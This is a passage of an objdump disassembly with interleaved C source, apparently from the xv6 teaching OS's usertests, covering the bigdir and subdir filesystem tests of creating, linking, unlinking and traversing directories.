1e4f: 83 ec 08 sub $0x8,%esp 1e52: 68 83 4d 00 00 push $0x4d83 1e57: 6a 01 push $0x1 1e59: e8 e0 21 00 00 call 403e <printf> 1e5e: 83 c4 10 add $0x10,%esp exit(); 1e61: e8 65 20 00 00 call 3ecb <exit> } close(fd); 1e66: 83 ec 0c sub $0xc,%esp 1e69: ff 75 f0 pushl -0x10(%ebp) 1e6c: e8 82 20 00 00 call 3ef3 <close> 1e71: 83 c4 10 add $0x10,%esp for(i = 0; i < 500; i++){ 1e74: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1e7b: eb 63 jmp 1ee0 <bigdir+0xd7> name[0] = 'x'; 1e7d: c6 45 e6 78 movb $0x78,-0x1a(%ebp) name[1] = '0' + (i / 64); 1e81: 8b 45 f4 mov -0xc(%ebp),%eax 1e84: 8d 50 3f lea 0x3f(%eax),%edx 1e87: 85 c0 test %eax,%eax 1e89: 0f 48 c2 cmovs %edx,%eax 1e8c: c1 f8 06 sar $0x6,%eax 1e8f: 83 c0 30 add $0x30,%eax 1e92: 88 45 e7 mov %al,-0x19(%ebp) name[2] = '0' + (i % 64); 1e95: 8b 45 f4 mov -0xc(%ebp),%eax 1e98: 99 cltd 1e99: c1 ea 1a shr $0x1a,%edx 1e9c: 01 d0 add %edx,%eax 1e9e: 83 e0 3f and $0x3f,%eax 1ea1: 29 d0 sub %edx,%eax 1ea3: 83 c0 30 add $0x30,%eax 1ea6: 88 45 e8 mov %al,-0x18(%ebp) name[3] = '\0'; 1ea9: c6 45 e9 00 movb $0x0,-0x17(%ebp) if(link("bd", name) != 0){ 1ead: 83 ec 08 sub $0x8,%esp 1eb0: 8d 45 e6 lea -0x1a(%ebp),%eax 1eb3: 50 push %eax 1eb4: 68 80 4d 00 00 push $0x4d80 1eb9: e8 6d 20 00 00 call 3f2b <link> 1ebe: 83 c4 10 add $0x10,%esp 1ec1: 85 c0 test %eax,%eax 1ec3: 74 17 je 1edc <bigdir+0xd3> printf(1, "bigdir link failed\n"); 1ec5: 83 ec 08 sub $0x8,%esp 1ec8: 68 99 4d 00 00 push $0x4d99 1ecd: 6a 01 push $0x1 1ecf: e8 6a 21 00 00 call 403e <printf> 1ed4: 83 c4 10 add $0x10,%esp exit(); 1ed7: e8 ef 1f 00 00 call 3ecb <exit> for(i = 0; i < 500; i++){ 1edc: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1ee0: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp) 1ee7: 7e 94 jle 1e7d <bigdir+0x74> } } unlink("bd"); 1ee9: 83 ec 0c sub $0xc,%esp 1eec: 68 80 4d 00 00 push $0x4d80 1ef1: e8 25 20 00 00 call 3f1b <unlink> 1ef6: 83 c4 10 add $0x10,%esp for(i = 0; i < 500; i++){ 1ef9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1f00: eb 5e jmp 1f60 <bigdir+0x157> name[0] = 'x'; 1f02: c6 45 e6 78 movb $0x78,-0x1a(%ebp) name[1] = '0' + (i / 64); 1f06: 8b 45 f4 mov -0xc(%ebp),%eax 1f09: 8d 50 3f lea 0x3f(%eax),%edx 1f0c: 85 c0 test %eax,%eax 1f0e: 0f 48 c2 cmovs %edx,%eax 1f11: c1 f8 06 sar $0x6,%eax 1f14: 83 c0 30 add $0x30,%eax 1f17: 88 45 e7 mov %al,-0x19(%ebp) name[2] = '0' + (i % 64); 1f1a: 8b 45 f4 mov -0xc(%ebp),%eax 1f1d: 99 cltd 1f1e: c1 ea 1a shr $0x1a,%edx 1f21: 01 d0 add %edx,%eax 1f23: 83 e0 3f and $0x3f,%eax 1f26: 29 d0 sub %edx,%eax 1f28: 83 c0 30 add $0x30,%eax 1f2b: 88 45 e8 mov %al,-0x18(%ebp) name[3] = '\0'; 1f2e: c6 45 e9 00 movb $0x0,-0x17(%ebp) if(unlink(name) != 0){ 1f32: 83 ec 0c sub $0xc,%esp 1f35: 8d 45 e6 lea -0x1a(%ebp),%eax 1f38: 50 push %eax 1f39: e8 dd 1f 00 00 call 3f1b <unlink> 1f3e: 83 c4 10 add $0x10,%esp 1f41: 85 c0 test %eax,%eax 1f43: 74 17 je 1f5c <bigdir+0x153> printf(1, "bigdir unlink failed"); 1f45: 83 ec 08 sub $0x8,%esp 1f48: 68 ad 4d 00 00 push $0x4dad 1f4d: 6a 01 push $0x1 1f4f: e8 ea 20 00 00 call 403e <printf> 1f54: 83 c4 10 add $0x10,%esp exit(); 1f57: e8 6f 1f 00 00 call 3ecb <exit> for(i = 0; i < 500; i++){ 1f5c: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1f60: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp) 1f67: 7e 99 jle 1f02 <bigdir+0xf9> } } printf(1, "bigdir ok\n"); 1f69: 83 ec 08 sub $0x8,%esp 1f6c: 68 c2 4d 00 00 push $0x4dc2 1f71: 6a 01 push $0x1 1f73: e8 c6 20 00 00 call 403e <printf> 1f78: 83 c4 10 add $0x10,%esp } 1f7b: 90 nop 1f7c: c9 leave 1f7d: c3 ret 00001f7e <subdir>: void subdir(void) { 1f7e: 55 push %ebp 1f7f: 89 e5 mov %esp,%ebp 1f81: 83 ec 18 sub $0x18,%esp int fd, cc; printf(1, "subdir test\n"); 1f84: 83 ec 08 sub $0x8,%esp 1f87: 68 cd 4d 00 00 push $0x4dcd 1f8c: 6a 01 push $0x1 1f8e: e8 ab 20 00 00 call 403e <printf> 1f93: 83 c4 10 add $0x10,%esp unlink("ff"); 1f96: 83 ec 0c sub $0xc,%esp 1f99: 68 da 4d 00 00 push $0x4dda 1f9e: e8 78 1f 00 00 call 3f1b <unlink> 1fa3: 83 c4 10 add $0x10,%esp if(mkdir("dd") != 0){ 1fa6: 83 ec 0c sub $0xc,%esp 1fa9: 68 dd 4d 00 00 push $0x4ddd 1fae: e8 80 1f 00 00 call 3f33 <mkdir> 1fb3: 83 c4 10 add $0x10,%esp 1fb6: 85 c0 test %eax,%eax 1fb8: 74 17 je 1fd1 <subdir+0x53> printf(1, "subdir mkdir dd failed\n"); 1fba: 83 ec 08 sub $0x8,%esp 1fbd: 68 e0 4d 00 00 push $0x4de0 1fc2: 6a 01 push $0x1 1fc4: e8 75 20 00 00 call 403e <printf> 1fc9: 83 c4 10 add $0x10,%esp exit(); 1fcc: e8 fa 1e 00 00 call 3ecb <exit> } fd = open("dd/ff", O_CREATE | O_RDWR); 1fd1: 83 ec 08 sub $0x8,%esp 1fd4: 68 02 02 00 00 push $0x202 1fd9: 68 f8 4d 00 00 push $0x4df8 1fde: e8 28 1f 00 00 call 3f0b <open> 1fe3: 83 c4 10 add $0x10,%esp 1fe6: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 1fe9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1fed: 79 17 jns 2006 <subdir+0x88> printf(1, "create dd/ff failed\n"); 1fef: 83 ec 08 sub $0x8,%esp 1ff2: 68 fe 4d 00 00 push $0x4dfe 1ff7: 6a 01 push $0x1 1ff9: e8 40 20 00 00 call 403e <printf> 1ffe: 83 c4 10 add $0x10,%esp exit(); 2001: e8 c5 1e 00 00 call 3ecb <exit> } write(fd, "ff", 2); 2006: 83 ec 04 sub $0x4,%esp 2009: 6a 02 push $0x2 200b: 68 da 4d 00 00 push $0x4dda 2010: ff 75 f4 pushl -0xc(%ebp) 2013: e8 d3 1e 00 00 call 3eeb <write> 2018: 83 c4 10 add $0x10,%esp close(fd); 201b: 83 ec 0c sub $0xc,%esp 201e: ff 75 f4 pushl -0xc(%ebp) 2021: e8 cd 1e 00 00 call 3ef3 <close> 2026: 83 c4 10 add $0x10,%esp if(unlink("dd") >= 0){ 2029: 83 ec 0c sub $0xc,%esp 202c: 68 dd 4d 00 00 push $0x4ddd 2031: e8 e5 1e 00 00 call 3f1b <unlink> 2036: 83 c4 10 add $0x10,%esp 2039: 85 c0 test %eax,%eax 203b: 78 17 js 2054 <subdir+0xd6> printf(1, "unlink dd (non-empty dir) succeeded!\n"); 203d: 83 ec 08 sub $0x8,%esp 2040: 68 14 4e 00 00 push $0x4e14 2045: 6a 01 push $0x1 2047: e8 f2 1f 00 00 call 403e <printf> 204c: 83 c4 10 add $0x10,%esp exit(); 204f: e8 77 1e 00 00 call 3ecb <exit> } if(mkdir("/dd/dd") != 0){ 2054: 83 ec 0c sub $0xc,%esp 2057: 68 3a 4e 00 00 push $0x4e3a 205c: e8 d2 1e 00 00 call 3f33 <mkdir> 2061: 83 c4 10 add $0x10,%esp 2064: 85 c0 test %eax,%eax 2066: 74 17 je 207f <subdir+0x101> printf(1, "subdir mkdir dd/dd failed\n"); 2068: 83 ec 08 sub $0x8,%esp 206b: 68 41 4e 00 00 push $0x4e41 2070: 6a 01 push $0x1 2072: e8 c7 1f 00 00 call 403e <printf> 2077: 83 c4 10 add $0x10,%esp exit(); 207a: e8 4c 1e 00 00 call 3ecb <exit> } fd = open("dd/dd/ff", O_CREATE | O_RDWR); 207f: 83 ec 08 sub $0x8,%esp 2082: 68 02 02 00 00 push $0x202 2087: 68 5c 4e 00 00 push $0x4e5c 208c: e8 7a 1e 00 00 call 3f0b <open> 2091: 83 c4 10 add $0x10,%esp 2094: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 2097: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 209b: 79 17 jns 20b4 <subdir+0x136> printf(1, "create dd/dd/ff failed\n"); 209d: 83 ec 08 sub $0x8,%esp 20a0: 68 65 4e 00 00 push $0x4e65 20a5: 6a 01 push $0x1 20a7: e8 92 1f 00 00 call 403e <printf> 20ac: 83 c4 10 add $0x10,%esp exit(); 20af: e8 17 1e 00 00 call 3ecb <exit> } write(fd, "FF", 2); 20b4: 83 ec 04 sub $0x4,%esp 20b7: 6a 02 push $0x2 20b9: 68 7d 4e 00 00 push $0x4e7d 20be: ff 75 f4 pushl -0xc(%ebp) 20c1: e8 25 1e 00 00 call 3eeb <write> 20c6: 83 c4 10 add $0x10,%esp close(fd); 20c9: 83 ec 0c sub $0xc,%esp 20cc: ff 75 f4 pushl -0xc(%ebp) 20cf: e8 1f 1e 00 00 call 3ef3 <close> 20d4: 83 c4 10 add $0x10,%esp fd = open("dd/dd/../ff", 0); 20d7: 83 ec 08 sub $0x8,%esp 20da: 6a 00 push $0x0 20dc: 68 80 4e 00 00 push $0x4e80 20e1: e8 25 1e 00 00 call 3f0b <open> 20e6: 83 c4 10 add $0x10,%esp 20e9: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 20ec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 20f0: 79 17 jns 2109 <subdir+0x18b> printf(1, "open dd/dd/../ff failed\n"); 20f2: 83 ec 08 sub $0x8,%esp 20f5: 68 8c 4e 00 00 push $0x4e8c 20fa: 6a 01 push $0x1 20fc: e8 3d 1f 00 00 call 403e <printf> 2101: 83 c4 10 add $0x10,%esp exit(); 2104: e8 c2 1d 00 00 call 3ecb <exit> } cc = read(fd, buf, sizeof(buf)); 2109: 83 ec 04 sub $0x4,%esp 210c: 68 00 20 00 00 push $0x2000 2111: 68 a0 8a 00 00 push $0x8aa0 2116: ff 75 f4 pushl -0xc(%ebp) 2119: e8 c5 1d 00 00 call 3ee3 <read> 211e: 83 c4 10 add $0x10,%esp 2121: 89 45 f0 mov %eax,-0x10(%ebp) if(cc != 2 || buf[0] != 'f'){ 2124: 83 7d f0 02 cmpl $0x2,-0x10(%ebp) 2128: 75 0b jne 2135 <subdir+0x1b7> 212a: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax 2131: 3c 66 cmp $0x66,%al 2133: 74 17 je 214c <subdir+0x1ce> printf(1, "dd/dd/../ff wrong content\n"); 2135: 83 ec 08 sub $0x8,%esp 2138: 68 a5 4e 00 00 push $0x4ea5 213d: 6a 01 push $0x1 213f: e8 fa 1e 00 00 call 403e <printf> 2144: 83 c4 10 add $0x10,%esp exit(); 2147: e8 7f 1d 00 00 call 3ecb <exit> } close(fd); 214c: 83 ec 0c sub $0xc,%esp 214f: ff 75 f4 pushl -0xc(%ebp) 2152: e8 9c 1d 00 00 call 3ef3 <close> 2157: 83 c4 10 add $0x10,%esp if(link("dd/dd/ff", "dd/dd/ffff") != 0){ 215a: 83 ec 08 sub $0x8,%esp 215d: 68 c0 4e 00 00 push $0x4ec0 2162: 68 5c 4e 00 00 push $0x4e5c 2167: e8 bf 1d 00 00 call 3f2b <link> 216c: 83 c4 10 add $0x10,%esp 216f: 85 c0 test %eax,%eax 2171: 74 17 je 218a <subdir+0x20c> printf(1, "link dd/dd/ff dd/dd/ffff failed\n"); 2173: 83 ec 08 sub $0x8,%esp 2176: 68 cc 4e 00 00 push $0x4ecc 217b: 6a 01 push $0x1 217d: e8 bc 1e 00 00 call 403e <printf> 2182: 83 c4 10 add $0x10,%esp exit(); 2185: e8 41 1d 00 00 call 3ecb <exit> } if(unlink("dd/dd/ff") != 0){ 218a: 83 ec 0c sub $0xc,%esp 218d: 68 5c 4e 00 00 push $0x4e5c 2192: e8 84 1d 00 00 call 3f1b <unlink> 2197: 83 c4 10 add $0x10,%esp 219a: 85 c0 test %eax,%eax 219c: 74 17 je 21b5 <subdir+0x237> printf(1, "unlink dd/dd/ff failed\n"); 219e: 83 ec 08 sub $0x8,%esp 21a1: 68 ed 4e 00 00 push $0x4eed 21a6: 6a 01 push $0x1 21a8: e8 91 1e 00 00 call 403e <printf> 21ad: 83 c4 10 add $0x10,%esp exit(); 21b0: e8 16 1d 00 00 call 3ecb <exit> } if(open("dd/dd/ff", O_RDONLY) >= 0){ 21b5: 83 ec 08 sub $0x8,%esp 21b8: 6a 00 push $0x0 21ba: 68 5c 4e 00 00 push $0x4e5c 21bf: e8 47 1d 00 00 call 3f0b <open> 21c4: 83 c4 10 add $0x10,%esp 21c7: 85 c0 test %eax,%eax 21c9: 78 17 js 21e2 <subdir+0x264> printf(1, "open (unlinked) dd/dd/ff succeeded\n"); 21cb: 83 ec 08 sub $0x8,%esp 21ce: 68 08 4f 00 00 push $0x4f08 21d3: 6a 01 push $0x1 21d5: e8 64 1e 00 00 call 403e <printf> 21da: 83 c4 10 add $0x10,%esp exit(); 21dd: e8 e9 1c 00 00 call 3ecb <exit> } if(chdir("dd") != 0){ 21e2: 83 ec 0c sub $0xc,%esp 21e5: 68 dd 4d 00 00 push $0x4ddd 21ea: e8 4c 1d 00 00 call 3f3b <chdir> 21ef: 83 c4 10 add $0x10,%esp 21f2: 85 c0 test %eax,%eax 21f4: 74 17 je 220d <subdir+0x28f> printf(1, "chdir dd failed\n"); 21f6: 83 ec 08 sub $0x8,%esp 21f9: 68 2c 4f 00 00 push $0x4f2c 21fe: 6a 01 push $0x1 2200: e8 39 1e 00 00 call 403e <printf> 2205: 83 c4 10 add $0x10,%esp exit(); 2208: e8 be 1c 00 00 call 3ecb <exit> } if(chdir("dd/../../dd") != 0){ 220d: 83 ec 0c sub $0xc,%esp 2210: 68 3d 4f 00 00 push $0x4f3d 2215: e8 21 1d 00 00 call 3f3b <chdir> 221a: 83 c4 10 add $0x10,%esp 221d: 85 c0 test %eax,%eax 221f: 74 17 je 2238 <subdir+0x2ba> printf(1, "chdir dd/../../dd failed\n"); 2221: 83 ec 08 sub $0x8,%esp 2224: 68 49 4f 00 00 push $0x4f49 2229: 6a 01 push $0x1 222b: e8 0e 1e 00 00 call 403e <printf> 2230: 83 c4 10 add $0x10,%esp exit(); 2233: e8 93 1c 00 00 call 3ecb <exit> } if(chdir("dd/../../../dd") != 0){ 2238: 83 ec 0c sub $0xc,%esp 223b: 68 63 4f 00 00 push $0x4f63 2240: e8 f6 1c 00 00 call 3f3b <chdir> 2245: 83 c4 10 add $0x10,%esp 2248: 85 c0 test %eax,%eax 224a: 74 17 je 2263 <subdir+0x2e5> printf(1, "chdir dd/../../dd failed\n"); 224c: 83 ec 08 sub $0x8,%esp 224f: 68 49 4f 00 00 push $0x4f49 2254: 6a 01 push $0x1 2256: e8 e3 1d 00 00 call 403e <printf> 225b: 83 c4 10 add $0x10,%esp exit(); 225e: e8 68 1c 00 00 call 3ecb <exit> } if(chdir("./..") != 0){ 2263: 83 ec 0c sub $0xc,%esp 2266: 68 72 4f 00 00 push $0x4f72 226b: e8 cb 1c 00 00 call 3f3b <chdir> 2270: 83 c4 10 add $0x10,%esp 2273: 85 c0 test %eax,%eax 2275: 74 17 je 228e <subdir+0x310> printf(1, "chdir ./.. failed\n"); 2277: 83 ec 08 sub $0x8,%esp 227a: 68 77 4f 00 00 push $0x4f77 227f: 6a 01 push $0x1 2281: e8 b8 1d 00 00 call 403e <printf> 2286: 83 c4 10 add $0x10,%esp exit(); 2289: e8 3d 1c 00 00 call 3ecb <exit> } fd = open("dd/dd/ffff", 0); 228e: 83 ec 08 sub $0x8,%esp 2291: 6a 00 push $0x0 2293: 68 c0 4e 00 00 push $0x4ec0 2298: e8 6e 1c 00 00 call 3f0b <open> 229d: 83 c4 10 add $0x10,%esp 22a0: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 22a3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 22a7: 79 17 jns 22c0 <subdir+0x342> printf(1, "open dd/dd/ffff failed\n"); 22a9: 83 ec 08 sub $0x8,%esp 22ac: 68 8a 4f 00 00 push $0x4f8a 22b1: 6a 01 push $0x1 22b3: e8 86 1d 00 00 call 403e <printf> 22b8: 83 c4 10 add $0x10,%esp exit(); 22bb: e8 0b 1c 00 00 call 3ecb <exit> } if(read(fd, buf, sizeof(buf)) != 2){ 22c0: 83 ec 04 sub $0x4,%esp 22c3: 68 00 20 00 00 push $0x2000 22c8: 68 a0 8a 00 00 push $0x8aa0 22cd: ff 75 f4 pushl -0xc(%ebp) 22d0: e8 0e 1c 00 00 call 3ee3 <read> 22d5: 83 c4 10 add $0x10,%esp 22d8: 83 f8 02 cmp $0x2,%eax 22db: 74 17 je 22f4 <subdir+0x376> printf(1, "read dd/dd/ffff wrong len\n"); 22dd: 83 ec 08 sub $0x8,%esp 22e0: 68 a2 4f 00 00 push $0x4fa2 22e5: 6a 01 push $0x1 22e7: e8 52 1d 00 00 call 403e <printf> 22ec: 83 c4 10 add $0x10,%esp exit(); 22ef: e8 d7 1b 00 00 call 3ecb <exit> } close(fd); 22f4: 83 ec 0c sub $0xc,%esp 22f7: ff 75 f4 pushl -0xc(%ebp) 22fa: e8 f4 1b 00 00 call 3ef3 <close> 22ff: 83 c4 10 add $0x10,%esp if(open("dd/dd/ff", O_RDONLY) >= 0){ 2302: 83 ec 08 sub $0x8,%esp 2305: 6a 00 push $0x0 2307: 68 5c 4e 00 00 push $0x4e5c 230c: e8 fa 1b 00 00 call 3f0b <open> 2311: 83 c4 10 add $0x10,%esp 2314: 85 c0 test %eax,%eax 2316: 78 17 js 232f <subdir+0x3b1> printf(1, "open (unlinked) dd/dd/ff succeeded!\n"); 2318: 83 ec 08 sub $0x8,%esp 231b: 68 c0 4f 00 00 push $0x4fc0 2320: 6a 01 push $0x1 2322: e8 17 1d 00 00 call 403e <printf> 2327: 83 c4 10 add $0x10,%esp exit(); 232a: e8 9c 1b 00 00 call 3ecb <exit> } if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){ 232f: 83 ec 08 sub $0x8,%esp 2332: 68 02 02 00 00 push $0x202 2337: 68 e5 4f 00 00 push $0x4fe5 233c: e8 ca 1b 00 00 call 3f0b <open> 2341: 83 c4 10 add $0x10,%esp 2344: 85 c0 test %eax,%eax 2346: 78 17 js 235f <subdir+0x3e1> printf(1, "create dd/ff/ff succeeded!\n"); 2348: 83 ec 08 sub $0x8,%esp 234b: 68 ee 4f 00 00 push $0x4fee 2350: 6a 01 push $0x1 2352: e8 e7 1c 00 00 call 403e <printf> 2357: 83 c4 10 add $0x10,%esp exit(); 235a: e8 6c 1b 00 00 call 3ecb <exit> } if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){ 235f: 83 ec 08 sub $0x8,%esp 2362: 68 02 02 00 00 push $0x202 2367: 68 0a 50 00 00 push $0x500a 236c: e8 9a 1b 00 00 call 3f0b <open> 2371: 83 c4 10 add $0x10,%esp 2374: 85 c0 test %eax,%eax 2376: 78 17 js 238f <subdir+0x411> printf(1, "create dd/xx/ff succeeded!\n"); 2378: 83 ec 08 sub $0x8,%esp 237b: 68 13 50 00 00 push $0x5013 2380: 6a 01 push $0x1 2382: e8 b7 1c 00 00 call 403e <printf> 2387: 83 c4 10 add $0x10,%esp exit(); 238a: e8 3c 1b 00 00 call 3ecb <exit> } if(open("dd", O_CREATE) >= 0){ 238f: 83 ec 08 sub $0x8,%esp 2392: 68 00 02 00 00 push $0x200 2397: 68 dd 4d 00 00 push $0x4ddd 239c: e8 6a 1b 00 00 call 3f0b <open> 23a1: 83 c4 10 add $0x10,%esp 23a4: 85 c0 test %eax,%eax 23a6: 78 17 js 23bf <subdir+0x441> printf(1, "create dd succeeded!\n"); 23a8: 83 ec 08 sub $0x8,%esp 23ab: 68 2f 50 00 00 push $0x502f 23b0: 6a 01 push $0x1 23b2: e8 87 1c 00 00 call 403e <printf> 23b7: 83 c4 10 add $0x10,%esp exit(); 23ba: e8 0c 1b 00 00 call 3ecb <exit> } if(open("dd", O_RDWR) >= 0){ 23bf: 83 ec 08 sub $0x8,%esp 23c2: 6a 02 push $0x2 23c4: 68 dd 4d 00 00 push $0x4ddd 23c9: e8 3d 1b 00 00 call 3f0b <open> 23ce: 83 c4 10 add $0x10,%esp 23d1: 85 c0 test %eax,%eax 23d3: 78 17 js 23ec <subdir+0x46e> printf(1, "open dd rdwr succeeded!\n"); 23d5: 83 ec 08 sub $0x8,%esp 23d8: 68 45 50 00 00 push $0x5045 23dd: 6a 01 push $0x1 23df: e8 5a 1c 00 00 call 403e <printf> 23e4: 83 c4 10 add $0x10,%esp exit(); 23e7: e8 df 1a 00 00 call 3ecb <exit> } if(open("dd", O_WRONLY) >= 0){ 23ec: 83 ec 08 sub $0x8,%esp 23ef: 6a 01 push $0x1 23f1: 68 dd 4d 00 00 push $0x4ddd 23f6: e8 10 1b 00 00 call 3f0b <open> 23fb: 83 c4 10 add $0x10,%esp 23fe: 85 c0 test %eax,%eax 2400: 78 17 js 2419 <subdir+0x49b> printf(1, "open dd wronly succeeded!\n"); 2402: 83 ec 08 sub $0x8,%esp 2405: 68 5e 50 00 00 push $0x505e 240a: 6a 01 push $0x1 240c: e8 2d 1c 00 00 call 403e <printf> 2411: 83 c4 10 add $0x10,%esp exit(); 2414: e8 b2 1a 00 00 call 3ecb <exit> } if(link("dd/ff/ff", "dd/dd/xx") == 0){ 2419: 83 ec 08 sub $0x8,%esp 241c: 68 79 50 00 00 push $0x5079 2421: 68 e5 4f 00 00 push $0x4fe5 2426: e8 00 1b 00 00 call 3f2b <link> 242b: 83 c4 10 add $0x10,%esp 242e: 85 c0 test %eax,%eax 2430: 75 17 jne 2449 <subdir+0x4cb> printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n"); 2432: 83 ec 08 sub $0x8,%esp 2435: 68 84 50 00 00 push $0x5084 243a: 6a 01 push $0x1 243c: e8 fd 1b 00 00 call 403e <printf> 2441: 83 c4 10 add $0x10,%esp exit(); 2444: e8 82 1a 00 00 call 3ecb <exit> } if(link("dd/xx/ff", "dd/dd/xx") == 0){ 2449: 83 ec 08 sub $0x8,%esp 244c: 68 79 50 00 00 push $0x5079 2451: 68 0a 50 00 00 push $0x500a 2456: e8 d0 1a 00 00 call 3f2b <link> 245b: 83 c4 10 add $0x10,%esp 245e: 85 c0 test %eax,%eax 2460: 75 17 jne 2479 <subdir+0x4fb> printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n"); 2462: 83 ec 08 sub $0x8,%esp 2465: 68 a8 50 00 00 push $0x50a8 246a: 6a 01 push $0x1 246c: e8 cd 1b 00 00 call 403e <printf> 2471: 83 c4 10 add $0x10,%esp exit(); 2474: e8 52 1a 00 00 call 3ecb <exit> } if(link("dd/ff", "dd/dd/ffff") == 0){ 2479: 83 ec 08 sub $0x8,%esp 247c: 68 c0 4e 00 00 push $0x4ec0 2481: 68 f8 4d 00 00 push $0x4df8 2486: e8 a0 1a 00 00 call 3f2b <link> 248b: 83 c4 10 add $0x10,%esp 248e: 85 c0 test %eax,%eax 2490: 75 17 jne 24a9 <subdir+0x52b> printf(1, "link dd/ff dd/dd/ffff succeeded!\n"); 2492: 83 ec 08 sub $0x8,%esp 2495: 68 cc 50 00 00 push $0x50cc 249a: 6a 01 push $0x1 249c: e8 9d 1b 00 00 call 403e <printf> 24a1: 83 c4 10 add $0x10,%esp exit(); 24a4: e8 22 1a 00 00 call 3ecb <exit> } if(mkdir("dd/ff/ff") == 0){ 24a9: 83 ec 0c sub $0xc,%esp 24ac: 68 e5 4f 00 00 push $0x4fe5 24b1: e8 7d 1a 00 00 call 3f33 <mkdir> 24b6: 83 c4 10 add $0x10,%esp 24b9: 85 c0 test %eax,%eax 24bb: 75 17 jne 24d4 <subdir+0x556> printf(1, "mkdir dd/ff/ff succeeded!\n"); 24bd: 83 ec 08 sub $0x8,%esp 24c0: 68 ee 50 00 00 push $0x50ee 24c5: 6a 01 push $0x1 24c7: e8 72 1b 00 00 call 403e <printf> 24cc: 83 c4 10 add $0x10,%esp exit(); 24cf: e8 f7 19 00 00 call 3ecb <exit> } if(mkdir("dd/xx/ff") == 0){ 24d4: 83 ec 0c sub $0xc,%esp 24d7: 68 0a 50 00 00 push $0x500a 24dc: e8 52 1a 00 00 call 3f33 <mkdir> 24e1: 83 c4 10 add $0x10,%esp 24e4: 85 c0 test %eax,%eax 24e6: 75 17 jne 24ff <subdir+0x581> printf(1, "mkdir dd/xx/ff succeeded!\n"); 24e8: 83 ec 08 sub $0x8,%esp 24eb: 68 09 51 00 00 push $0x5109 24f0: 6a 01 push $0x1 24f2: e8 47 1b 00 00 call 403e <printf> 24f7: 83 c4 10 add $0x10,%esp exit(); 24fa: e8 cc 19 00 00 call 3ecb <exit> } if(mkdir("dd/dd/ffff") == 0){ 24ff: 83 ec 0c sub $0xc,%esp 2502: 68 c0 4e 00 00 push $0x4ec0 2507: e8 27 1a 00 00 call 3f33 <mkdir> 250c: 83 c4 10 add $0x10,%esp 250f: 85 c0 test %eax,%eax 2511: 75 17 jne 252a <subdir+0x5ac> printf(1, "mkdir dd/dd/ffff succeeded!\n"); 2513: 83 ec 08 sub $0x8,%esp 2516: 68 24 51 00 00 push $0x5124 251b: 6a 01 push $0x1 251d: e8 1c 1b 00 00 call 403e <printf> 2522: 83 c4 10 add $0x10,%esp exit(); 2525: e8 a1 19 00 00 call 3ecb <exit> } if(unlink("dd/xx/ff") == 0){ 252a: 83 ec 0c sub $0xc,%esp 252d: 68 0a 50 00 00 push $0x500a 2532: e8 e4 19 00 00 call 3f1b <unlink> 2537: 83 c4 10 add $0x10,%esp 253a: 85 c0 test %eax,%eax 253c: 75 17 jne 2555 <subdir+0x5d7> printf(1, "unlink dd/xx/ff succeeded!\n"); 253e: 83 ec 08 sub $0x8,%esp 2541: 68 41 51 00 00 push $0x5141 2546: 6a 01 push $0x1 2548: e8 f1 1a 00 00 call 403e <printf> 254d: 83 c4 10 add $0x10,%esp exit(); 2550: e8 76 19 00 00 call 3ecb <exit> } if(unlink("dd/ff/ff") == 0){ 2555: 83 ec 0c sub $0xc,%esp 2558: 68 e5 4f 00 00 push $0x4fe5 255d: e8 b9 19 00 00 call 3f1b <unlink> 2562: 83 c4 10 add $0x10,%esp 2565: 85 c0 test %eax,%eax 2567: 75 17 jne 2580 <subdir+0x602> printf(1, "unlink dd/ff/ff succeeded!\n"); 2569: 83 ec 08 sub $0x8,%esp 256c: 68 5d 51 00 00 push $0x515d 2571: 6a 01 push $0x1 2573: e8 c6 1a 00 00 call 403e <printf> 2578: 83 c4 10 add $0x10,%esp exit(); 257b: e8 4b 19 00 00 call 3ecb <exit> } if(chdir("dd/ff") == 0){ 2580: 83 ec 0c sub $0xc,%esp 2583: 68 f8 4d 00 00 push $0x4df8 2588: e8 ae 19 00 00 call 3f3b <chdir> 258d: 83 c4 10 add $0x10,%esp 2590: 85 c0 test %eax,%eax 2592: 75 17 jne 25ab <subdir+0x62d> printf(1, "chdir dd/ff succeeded!\n"); 2594: 83 ec 08 sub $0x8,%esp 2597: 68 79 51 00 00 push $0x5179 259c: 6a 01 push $0x1 259e: e8 9b 1a 00 00 call 403e <printf> 25a3: 83 c4 10 add $0x10,%esp exit(); 25a6: e8 20 19 00 00 call 3ecb <exit> } if(chdir("dd/xx") == 0){ 25ab: 83 ec 0c sub $0xc,%esp 25ae: 68 91 51 00 00 push $0x5191 25b3: e8 83 19 00 00 call 3f3b <chdir> 25b8: 83 c4 10 add $0x10,%esp 25bb: 85 c0 test %eax,%eax 25bd: 75 17 jne 25d6 <subdir+0x658> printf(1, "chdir dd/xx succeeded!\n"); 25bf: 83 ec 08 sub $0x8,%esp 25c2: 68 97 51 00 00 push $0x5197 25c7: 6a 01 push $0x1 25c9: e8 70 1a 00 00 call 403e <printf> 25ce: 83 c4 10 add $0x10,%esp exit(); 25d1: e8 f5 18 00 00 call 3ecb <exit> } if(unlink("dd/dd/ffff") != 0){ 25d6: 83 ec 0c sub $0xc,%esp 25d9: 68 c0 4e 00 00 push $0x4ec0 25de: e8 38 19 00 00 call 3f1b <unlink> 25e3: 83 c4 10 add $0x10,%esp 25e6: 85 c0 test %eax,%eax 25e8: 74 17 je 2601 <subdir+0x683> printf(1, "unlink dd/dd/ff failed\n"); 25ea: 83 ec 08 sub $0x8,%esp 25ed: 68 ed 4e 00 00 push $0x4eed 25f2: 6a 01 push $0x1 25f4: e8 45 1a 00 00 call 403e 